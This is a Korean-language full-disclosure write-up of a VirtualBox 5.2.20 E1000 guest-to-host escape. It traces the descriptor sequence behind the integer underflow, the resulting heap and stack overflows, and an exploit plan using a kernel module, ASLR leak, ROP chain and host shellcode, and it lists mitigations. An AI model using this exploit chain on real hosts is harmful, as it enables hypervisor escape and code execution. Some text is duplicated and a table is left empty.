
VirtualBox E1000 게스트-투-호스트 탈출
저는 VirtualBox를 좋아하지만, 제가 0day 취약점을 공개하는 것과는 아무 관련이 없습니다. 그 이유는 현대 정보보안, 특히 보안 연구와 버그 바운티에 대한 저의 불만 때문입니다:
저는 처음 두 가지에 지쳤고, 그래서 제 선택은 전체 공개(full disclosure)입니다. 정보보안계여, 앞으로 나아가십시오.
취약한 소프트웨어: VirtualBox 5.2.20 및 이전 버전.
호스트 OS: 모두, 이 버그는 공유 코드 베이스에 있습니다.
게스트 OS: 모두.
VM 구성: 기본값 (유일한 요구 사항은 네트워크 카드가 Intel PRO/1000 MT Desktop (82540EM)이고 모드가 NAT라는 것입니다).
패치된 VirtualBox 빌드가 나올 때까지 가상 머신의 네트워크 카드를 PCnet(두 가지 중 하나) 또는 반가상화 네트워크(Paravirtualized Network)로 변경할 수 있습니다. 그렇게 할 수 없다면 모드를 NAT에서 다른 모드로 변경하세요. 전자가 더 안전합니다.
기본 VirtualBox 가상 네트워크 장치는 Intel PRO/1000 MT Desktop (82540EM)이고 기본 네트워크 모드는 NAT입니다. 우리는 이를 E1000이라고 부를 것입니다.
E1000에는 게스트 내의 root/관리자 권한을 가진 공격자가 호스트 ring3로 탈출할 수 있게 하는 취약점이 있습니다. 그런 다음 공격자는 기존 기술을 사용하여 /dev/vboxdrv를 통해 권한을 ring 0로 상승시킬 수 있습니다.
네트워크 패킷을 보내기 위해 게스트는 일반 PC가 하는 것과 동일한 작업을 수행합니다: 네트워크 카드를 구성하고 네트워크 패킷을 제공합니다. 패킷은 데이터 링크 계층 프레임 및 기타 더 높은 수준의 헤더로 구성됩니다. 어댑터에 제공된 패킷은 Tx 디스크립터(Tx는 전송을 의미)에 래핑됩니다. Tx 디스크립터는 82540EM 데이터시트(317453006EN.PDF, Revision 4.0)에 설명된 데이터 구조입니다. 여기에는 패킷 크기, VLAN 태그, TCP/IP 분할 활성화 플래그 등과 같은 메타정보가 저장됩니다.
82540EM 데이터시트는 레거시(legacy), 컨텍스트(context), 데이터(data)의 세 가지 Tx 디스크립터 유형을 제공합니다. 레거시는 폐기된 것으로 생각됩니다. 나머지 두 가지는 함께 사용됩니다. 우리가 신경 쓰는 유일한 것은 컨텍스트 디스크립터가 최대 패킷 크기를 설정하고 TCP/IP 분할을 전환하며, 데이터 디스크립터가 네트워크 패킷의 물리적 주소와 크기를 보유한다는 것입니다. 데이터 디스크립터의 패킷 크기는 컨텍스트 디스크립터의 최대 패킷 크기보다 작아야 합니다. 일반적으로 컨텍스트 디스크립터는 데이터 디스크립터보다 먼저 네트워크 카드에 공급됩니다.
Tx 디스크립터를 네트워크 카드에 공급하기 위해 게스트는 이를 Tx 링(Tx Ring)에 기록합니다. 이는 미리 정의된 주소의 물리적 메모리에 있는 링 버퍼입니다. 모든 디스크립터가 Tx 링에 기록되면 게스트는 E1000 MMIO TDT 레지스터(Transmit Descriptor Tail)를 업데이트하여 처리할 새 디스크립터가 있음을 호스트에 알립니다.
다음과 같은 Tx 디스크립터 배열을 고려하십시오:``` [context_1, data_2, data_3, context_4, data_5]
구조 필드를 다음과 같이 할당해 보겠습니다 (필드 이름은 사람이 읽기 쉽도록 가상의 것이지만 82540EM 사양에 직접 매핑됩니다):```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true
data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true
data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true
data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true
단계별 분석을 통해 그것들이 왜 그렇게 되어야 하는지 알아보겠습니다.
위의 디스크립터들이 지정된 순서대로 Tx Ring에 기록되고 TDT 레지스터가 게스트에 의해 업데이트된다고 가정해 보겠습니다. 이제 호스트는 src/VBox/Devices/Network/DevE1000.cpp 파일에서 e1kXmitPending 함수를 실행합니다(가독성을 위해 대부분의 주석은 제거되었으며 앞으로도 제거될 것입니다):```c static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread) { ... while (!pThis->fLocked && e1kTxDLazyLoad(pThis)) { while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }
e1kTxDLazyLoad는 Tx 링에서 5개의 Tx 디스크립터를 모두 읽습니다. 그런 다음 e1kLocateTxPacket이 처음으로 호출됩니다. 이 함수는 모든 디스크립터를 반복하면서 초기 상태를 설정하지만 실제로는 처리하지 않습니다. 이 경우 e1kLocateTxPacket에 대한 첫 번째 호출은 context_1, data_2, data_3 디스크립터를 처리합니다. 나머지 두 디스크립터인 context_4와 data_5는 while 루프의 두 번째 반복에서 처리됩니다(두 번째 반복은 다음 섹션에서 다룹니다). 이 두 부분으로 나뉘는 배열 분할이 취약점을 트리거하는 데 중요하므로 그 이유를 알아봅시다.
e1kLocateTxPacket은 다음과 같습니다:```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
{
E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
switch (e1kGetDescType(pDesc))
{
case E1K_DTYP_CONTEXT:
e1kUpdateTxContext(pThis, pDesc);
continue;
case E1K_DTYP_LEGACY:
...
break;
case E1K_DTYP_DATA:
if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
break;
...
break;
default:
AssertMsgFailed(("Impossible descriptor type!"));
}
첫 번째 디스크립터(context_1)는 E1K_DTYP_CONTEXT 유형이므로 e1kUpdateTxContext 함수가 호출됩니다. 이 함수는 디스크립터에 대해 TCP Segmentation이 활성화된 경우 TCP Segmentation Context를 업데이트합니다. context_1에는 해당 조건이 true이므로 TCP Segmentation Context가 업데이트됩니다. (TCP Segmentation Context Update가 실제로 무엇을 하는지는 중요하지 않으며, 아래 코드를 참조하기 위해 이 용어를 사용할 뿐입니다.)
두 번째 디스크립터(data_2)는 E1K_DTYP_DATA 유형이므로 논의에 필요하지 않은 몇 가지 작업이 수행됩니다.
세 번째 디스크립터(data_3)도 E1K_DTYP_DATA 유형이지만 data_3.data_length == 0이므로 아무 작업도 수행되지 않습니다.
현재 세 개의 디스크립터가 초기 처리되고 두 개가 남아 있는 상태입니다. 이제 중요한 부분: switch 문 이후에는 디스크립터의 end_of_packet 필드가 설정되었는지 확인하는 검사가 있습니다. data_3 디스크립터의 경우(data_3.end_of_packet == true) 이 조건이 true입니다. 코드는 몇 가지 작업을 수행한 후 함수에서 반환합니다.```c if (pDesc->legacy.cmd.fEOP) { ... return true; }
`data_3.end_of_packet`가 false였다면 나머지 `context_4`와 `data_5` 디스크립터도 처리되었을 것이고, 취약점은 우회되었을 것입니다. 아래에서 해당 함수의 return이 어떻게 버그로 이어지는지 확인할 수 있습니다.
`e1kLocateTxPacket` 함수의 끝에는 네트워크 패킷을 풀고 네트워크로 보낼 준비가 된 다음 디스크립터들이 있습니다: `context_1`, `data_2`, `data_3`. 그런 다음 `e1kXmitPending`의 내부 루프가 `e1kXmitPacket`을 호출합니다. 이 함수는 모든 디스크립터(이 경우 5개)를 반복하면서 실제로 처리합니다:```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
while (pThis->iTxDCurrent < pThis->nTxDFetched)
{
E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
...
rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
...
if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
break;
}
각 디스크립터에 대해 e1kXmitDesc 함수가 호출됩니다:```c static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr, bool fOnWorkerThread) { ... switch (e1kGetDescType(pDesc)) { case E1K_DTYP_CONTEXT: ... break; case E1K_DTYP_DATA: { ... if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0) { E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf)); } else { if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg))) { ... } else if (!pDesc->data.cmd.fTSE) { ... } else { STAM_COUNTER_INC(&pThis->StatTxPathFallback); rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread); } } ...
The first descriptor passed to e1kXmitDesc is context_1. The function does nothing with context descriptors.
The second descriptor passed to e1kXmitDesc is data\_2. Since all of our data descriptors have tcp\_segmentation\_enable == true (pDesc->data.cmd.fTSE above) we call e1kFallbackAddToFrame where there will be an integer underflow while data\_5 is processed.```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
...
uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;
/*
* Carve out segments.
*/
int rc = VINF_SUCCESS;
do
{
/* Calculate how many bytes we have left in this TCP segment */
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
if (cb > pDesc->data.cmd.u20DTALEN)
{
/* This descriptor fits completely into current segment */
cb = pDesc->data.cmd.u20DTALEN;
rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
}
else
{
...
}
pDesc->data.u64BufAddr += cb;
pDesc->data.cmd.u20DTALEN -= cb;
} while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));
if (pDesc->data.cmd.fEOP)
{
...
pThis->u16TxPktLen = 0;
...
}
return VINF_SUCCESS; /// @todo consider rc;
}
여기서 가장 중요한 변수는 u16MaxPktLen, pThis->u16TxPktLen, 그리고 pDesc->data.cmd.u20DTALEN입니다.
두 데이터 설명자에 대해 e1kFallbackAddToFrame 함수 실행 전후의 이러한 변수 값을 보여주는 표를 작성해 보겠습니다.
data_3이 처리될 때 pThis->u16TxPktLen이 0x10과 같다는 점만 기억하면 됩니다.
다음은 가장 중요한 부분입니다. e1kXmitPacket 스니펫의 끝부분을 다시 살펴보세요.```c if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP) break;
Since data_3 type != E1K_DTYP_CONTEXT and data_3.end_of_packet == true, we break from the loop despite the fact that there are context_4 and data_5 to be processed. Why is it important? The key to understand the vulnerability is to understand that all context descriptors are processed before data descriptors. Context descriptors are processed during the TCP Segmentation Context Update in e1kLocateTxPacket. Data descriptors are processed later in the loop inside e1kXmitPacket function. The developer intention was to forbid changing u16MaxPktLen after some data was processed to prevent integer underflows in the code:
data_3 유형이 E1K_DTYP_CONTEXT가 아니고 data_3.end_of_packet == true이므로, 처리해야 할 context_4와 data_5가 있음에도 불구하고 루프에서 빠져나옵니다. 이것이 왜 중요할까요? 취약점을 이해하는 핵심은 모든 컨텍스트 설명자가 데이터 설명자보다 먼저 처리된다는 점을 이해하는 것입니다. 컨텍스트 설명자는 e1kLocateTxPacket의 TCP Segmentation Context Update 중에 처리됩니다. 데이터 설명자는 나중에 e1kXmitPacket 함수 내부의 루프에서 처리됩니다. 개발자의 의도는 일부 데이터가 처리된 후에는 u16MaxPktLen 변경을 금지하여 코드에서 정수 언더플로를 방지하는 것이었습니다:```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
하지만 우리는 이 보호를 우회할 수 있습니다: e1kLocateTxPacket에서 data_3.end_of_packet == true 때문에 함수가 반환되도록 만들었던 것을 기억하십시오. 그리고 그로 인해 pThis->u16TxPktLen이 0이 아닌 0x10임에도 불구하고 처리해야 할 두 개의 디스크립터(context_4 및 data_5)가 남아 있습니다. 따라서 context_4.maximum_segment_size를 사용하여 u16MaxPktLen을 변경해 정수 언더플로를 발생시킬 가능성이 있습니다.
이제 처음 세 개의 디스크립터가 처리되었으므로 다시 e1kXmitPending의 내부 루프에 도달합니다:```c while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }
여기서 우리는 e1kLocateTxPacket을 호출하여 context_4 및 data_5 디스크립터의 초기 처리를 수행합니다. context_4.maximum_segment_size를 이미 읽은 데이터 크기보다 작게, 즉 0x10보다 작게 설정할 수 있다고 언급되었습니다. 입력 Tx 디스크립터를 상기해 보면:```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true
data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true
e1kLocateTxPacket 호출 결과, 최대 세그먼트 크기는 0xF인 반면 이미 읽은 데이터 크기는 0x10입니다.
마지막으로 data_5를 처리할 때 다시 e1kFallbackAddToFrame에 도달하며 다음 변수 값들을 갖게 됩니다:
| Tx 설명자 | 전/후 | u16MaxPktLen | pThis->u16TxPktLen | pDesc->data.cmd.u20DTALEN |
|---|---|---|---|---|
| data_5 |
따라서 정수 언더플로가 발생합니다:```c uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen; => uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;
이로 인해 0xFFFFFFFF > 0x4188이므로 다음 검사가 참이 됩니다:```c
if (cb > pDesc->data.cmd.u20DTALEN)
{
cb = pDesc->data.cmd.u20DTALEN;
rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
}
e1kFallbackAddSegment 함수는 크기 0x4188로 호출될 것입니다. 취약점이 없다면 e1kFallbackAddSegment를 0x3FA0보다 큰 크기로 호출하는 것은 불가능합니다 (E1K_MAX_TX_PKT_SIZE == 0x3FA0). 왜냐하면 e1kUpdateTxContext에서 TCP Segmentation Context Update 중에 최대 세그먼트 크기가 0x3FA0 이하인지 확인하는 검사가 있기 때문입니다:```c DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc) { ... uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /VTAG/ if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE)) { pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /VTAG/ ... }
### 버퍼 오버플로우
우리는 크기 0x4188로 e1kFallbackAddSegment를 호출했습니다. 이것이 어떻게 악용될 수 있을까요? 제가 찾은 가능성은 적어도 두 가지입니다. 첫째, 게스트의 데이터가 힙 버퍼로 읽혀집니다:```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
...
PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);
여기서 pThis->aTxPacketFallback는 크기 0x3FA0의 버퍼이고 u16Len은 0x4188입니다. 이는 예를 들어 함수 포인터 덮어쓰기로 이어질 수 있는 명백한 오버플로입니다.
둘째, 더 깊이 파고들면 e1kFallbackAddSegment가 e1kTransmitFrame을 호출하며, 이 함수는 E1000 레지스터의 특정 구성에서 e1kHandleRxPacket 함수를 호출할 수 있습니다. 이 함수는 크기 0x4000의 스택 버퍼를 할당한 다음, 지정된 길이(이 경우 0x4188)의 데이터를 아무 검사 없이 버퍼에 복사합니다:```c static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status) { #if defined(IN_RING3) uint8_t rxPacket[E1K_MAX_RX_PKT_SIZE]; ... if (status.fVP) { ... } else memcpy(rxPacket, pvBuf, cb);
보시다시피, 우리는 정수 언더플로를 고전적인 스택 버퍼 오버플로로 전환했습니다. 위의 두 오버플로(힙 및 스택)는 익스플로잇에 사용됩니다.
## 익스플로잇
익스플로잇은 게스트 OS에 로드할 Linux 커널 모듈(LKM)입니다. Windows의 경우 초기화 래퍼와 커널 API 호출만 LKM과 다른 드라이버가 필요합니다.
두 OS 모두에서 드라이버를 로드하려면 상승된 권한이 필요합니다. 이는 흔한 일이며 극복할 수 없는 장애물로 간주되지 않습니다. Pwn2Own 대회를 살펴보세요. 연구자들은 익스플로잇 체인을 사용합니다. 게스트 OS에서 악성 웹사이트를 연 브라우저가 익스플로잇되고, 브라우저 샌드박스 탈출을 수행하여 전체 ring 3 액세스 권한을 얻고, 운영 체제 취약점을 익스플로잇하여 ring 0로 가는 길을 닦습니다. ring 0에서는 게스트 OS에서 하이퍼바이저를 공격하는 데 필요한 모든 것이 있습니다.
가장 강력한 하이퍼바이저 취약점은 확실히 게스트 ring 3에서 악용할 수 있는 것입니다. VirtualBox에도 게스트 루트 권한 없이 접근 가능한 그러한 코드가 있으며, 대부분 아직 감사되지 않았습니다.
이 익스플로잇은 100% 신뢰할 수 있습니다. 즉, 바이너리 불일치 또는 제가 고려하지 않은 더 미묘한 이유로 인해 항상 작동하거나 전혀 작동하지 않는다는 뜻입니다. 적어도 기본 구성의 Ubuntu 16.04 및 18.04 x86_64 게스트에서는 작동합니다.
### 익스플로잇 알고리즘
1) 공격자는 Linux 게스트에 기본으로 로드된 e1000.ko를 언로드하고 익스플로잇의 LKM을 로드합니다.
2) LKM은 데이터시트에 따라 E1000을 초기화합니다. 수신 부분이 필요 없으므로 전송 부분만 초기화됩니다.
3) 1단계: 정보 유출.
1) LKM은 스택 버퍼 오버플로 코드에 도달할 수 없도록 E1000 루프백 모드를 비활성화합니다.
2) LKM은 정수 언더플로 취약점을 사용하여 힙 버퍼 오버플로를 발생시킵니다.
3) 힙 버퍼 오버플로를 통해 E1000 EEPROM을 사용하여 힙 버퍼를 기준으로 128KB 범위 내의 임의의 두 바이트를 쓸 수 있습니다. 따라서 공격자는 쓰기 프리미티브를 얻습니다.
4) LKM은 쓰기 프리미티브를 8번 사용하여 힙에 있는 ACPI(고급 구성 및 전원 인터페이스) 데이터 구조에 바이트를 씁니다. 바이트는 힙 버퍼의 인덱스 변수에 기록되며, 이 변수에서 한 바이트가 읽힙니다. 버퍼 크기가 최대 인덱스 번호(255)보다 작으므로 공격자는 버퍼를 넘어 읽을 수 있으며, 따라서 읽기 프리미티브를 얻습니다.
5) LKM은 읽기 프리미티브를 8번 사용하여 ACPI에 접근하고 힙에서 8바이트를 얻습니다. 이 바이트는 VBoxDD.so 공유 라이브러리의 포인터입니다.
6) LKM은 포인터에서 RVA를 빼서 VBoxDD.so 이미지 베이스를 얻습니다.
4) 2단계: 스택 버퍼 오버플로.
1) LKM은 스택 버퍼 오버플로 코드에 도달할 수 있도록 E1000 루프백 모드를 활성화합니다.
2) LKM은 정수 언더플로 취약점을 사용하여 힙 버퍼 오버플로와 스택 버퍼 오버플로를 발생시킵니다. 저장된 반환 주소(RIP/EIP)가 덮어써집니다. 공격자는 제어권을 얻습니다.
3) ROP 체인이 실행되어 셸코드 로더를 실행합니다.
5) 3단계: 셸코드.
1) 셸코드 로더는 스택에서 자신 옆의 셸코드를 복사합니다. 셸코드가 실행됩니다.
2) 셸코드는 fork 및 execve 시스템 콜을 수행하여 호스트 측에서 임의의 프로세스를 생성합니다.
3) 부모 프로세스는 프로세스 실행을 계속합니다.
6) 공격자는 LKM을 언로드하고 e1000.ko를 다시 로드하여 게스트가 네트워크를 사용할 수 있게 합니다.
### 초기화
LKM은 E1000 MMIO에 관한 물리 메모리를 매핑합니다. 물리 주소와 크기는 하이퍼바이저에 의해 미리 정의됩니다.```c
void* map_mmio(void) {
off_t pa = 0xF0000000;
size_t len = 0x20000;
void* va = ioremap(pa, len);
if (!va) {
printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
return NULL;
}
return va;
}
Then E1000 범용 레지스터가 구성되고, Tx Ring 메모리가 할당되며, 전송 레지스터가 구성됩니다.```c void e1000_init(void* mmio) { // Configure general purpose registers
configure_CTRL(mmio);
// Configure TX registers
g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
return;
}
configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);
}
### ASLR 우회
#### 쓰기 프리미티브
익스플로잇 개발 초기부터 나는 기본적으로 비활성화된 서비스에서 발견되는 프리미티브를 사용하지 않기로 결정했다. 즉, 우선 3D 가속을 제공하는 Chromium 서비스(브라우저가 아님)를 의미하며, 지난 1년 동안 연구자들이 40개 이상의 취약점을 발견한 곳이다.
문제는 기본 VirtualBox 하위 시스템에서 정보 누출(정보 유출) 프리미티브를 찾는 것이었다. 당연한 생각은 정수 언더플로가 힙 버퍼를 오버플로할 수 있다면 버퍼 이후의 모든 것을 제어할 수 있다는 것이었다. 추가 취약점이 하나도 필요하지 않다는 것을 알게 될 것이다: 정수 언더플로는 읽기, 쓰기, 정보 누출 프리미티브를 도출하는 데 매우 강력한 것으로 드러났으며, 스택 버퍼 오버플로는 말할 것도 없다.
힙에서 정확히 무엇이 오버플로되는지 살펴보자.```c
/**
* Device state structure.
*/
struct E1kState_st
{
...
uint8_t aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
E1kEEPROM eeprom;
...
}
여기서 aTxPacketFallback은 크기 0x3FA0의 버퍼로, 데이터 디스크립터에서 복사된 바이트들로 오버플로우될 것이다. 버퍼 이후의 흥미로운 필드들을 찾다 보니 E1kEEPROM 구조체에 도달했으며, 이 구조체는 다음 필드들을 가진 또 다른 구조체를 포함한다 (src/VBox/Devices/Network/DevE1000.cpp):```c
/**
그것들을 어떻게 악용할 수 있을까? E1000은 EEPROM, 보조 어댑터 메모리를 구현한다. 게스트 OS는 E1000 MMIO 레지스터를 통해 접근할 수 있다. EEPROM은 여러 상태를 가진 유한 오토마타로 구현되며 네 가지 동작을 수행한다. 우리는 오직 "메모리에 쓰기"에만 관심이 있다. 이는 다음과 같다 (src/VBox/Devices/Network/DevEEPROM.cpp):```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
storeWord(m_u16Addr, m_u16Word);
return WAITING_CS_FALL;
}
void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
if (m_fWriteEnabled) {
E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
m_au16Data[u32Addr] = u16Value;
}
m_u16Mask = DATA_MSB;
}
여기서 m_u16Addr, m_u16Word, 및 m_fWriteEnabled는 우리가 제어하는 EEPROM93C46 구조체의 필드입니다. 우리는 그것들을 변형할 수 있는데, 그 방식은```c m_au16Data[u32Addr] = u16Value;
문은 구조체에 함께 존재하는 m_au16Data로부터 임의의 16비트 오프셋에 2바이트를 씁니다. 우리는 쓰기 프리미티브를 발견했습니다.
#### 읽기 프리미티브
다음 문제는 공유 라이브러리 포인터를 누출하여 이미지 베이스를 얻으려는 주요 목표를 추구하면서, 힙에 임의의 데이터를 쓸 데이터 구조를 찾는 것이었습니다. 다행히도 불안정한 힙 스프레이를 수행할 필요가 없었습니다. 가상 장치의 주요 데이터 구조는 내부 하이퍼바이저 힙에서 할당되는 것으로 보였는데, 물론 그들의 가상 주소는 ASLR에 의해 무작위화되지만 서로 간의 거리는 항상 일정했습니다.
가상 머신이 시작되면 PDM(Pluggable Device and Driver Manager) 서브시스템이 하이퍼바이저 힙에 PDMDEVINS 개체를 할당합니다.```c
int pdmR3DevInit(PVM pVM)
{
...
PPDMDEVINS pDevIns;
if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
else
rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...
저는 스크립트를 사용하여 GDB에서 해당 코드를 추적했고 다음과 같은 결과를 얻었습니다:``` [trace-device-constructors] Constructing a device #0x0: [trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c1b0 [trace-device-constructors] Data size: 0x8
[trace-device-constructors] Constructing a device #0x1: [trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c720 [trace-device-constructors] Data size: 0x11e8
...
[trace-device-constructors] Constructing a device #0xe: [trace-device-constructors] Name: "e1000", '\000' <repeats 26 times> [trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470083400 [trace-device-constructors] Data size: 0x53a0
[trace-device-constructors] Constructing a device #0xf: [trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times> [trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470088b00 [trace-device-constructors] Data size: 0x1848
[trace-device-constructors] Constructing a device #0x10: [trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times> [trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008a4e0 [trace-device-constructors] Data size: 0x1728
[trace-device-constructors] Constructing a device #0x11: [trace-device-constructors] Name: "acpi", '\000' <repeats 27 times> [trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008be70 [trace-device-constructors] Data size: 0x1570
[trace-device-constructors] Constructing a device #0x12: [trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008dba0 [trace-device-constructors] Data size: 0x90
[trace-device-constructors] Instances: [trace-device-constructors] #0x0 Address: 0x7fc45486c1b0 [trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570 [trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0 [trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0 [trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00 [trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380 [trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0 [trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430 [trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0 [trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0 [trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0 [trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070 [trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080 [trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170 [trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310 [trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700 [trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0 [trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990 [trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30
E1000 장치가 #0xE 위치에 있는 것에 주목하세요. 두 번째 목록에서 다음 장치가 E1000으로부터 0x5700 오프셋에 있고, 그 다음은 0x19E0에 있다는 것을 볼 수 있습니다. 우리는 이미 이러한 거리가 항상 동일하다고 말했으며, 그것이 우리의 익스플로잇 기회입니다.
E1000 다음에 오는 장치들은 ICH IC'97, OHCI, ACPI, VirtualBox GIM입니다. 그들의 데이터 구조를 공부하면서 쓰기 프리미티브를 사용하는 방법을 알아냈습니다.
가상 머신이 부팅되면 ACPI 장치가 생성됩니다 (src/VBox/Devices/PC/DevACPI.cpp):```c
typedef struct ACPIState
{
...
uint8_t au8SMBusBlkDat[32];
uint8_t u8SMBusBlkIdx;
uint32_t uPmTimeOld;
uint32_t uPmTimeA;
uint32_t uPmTimeB;
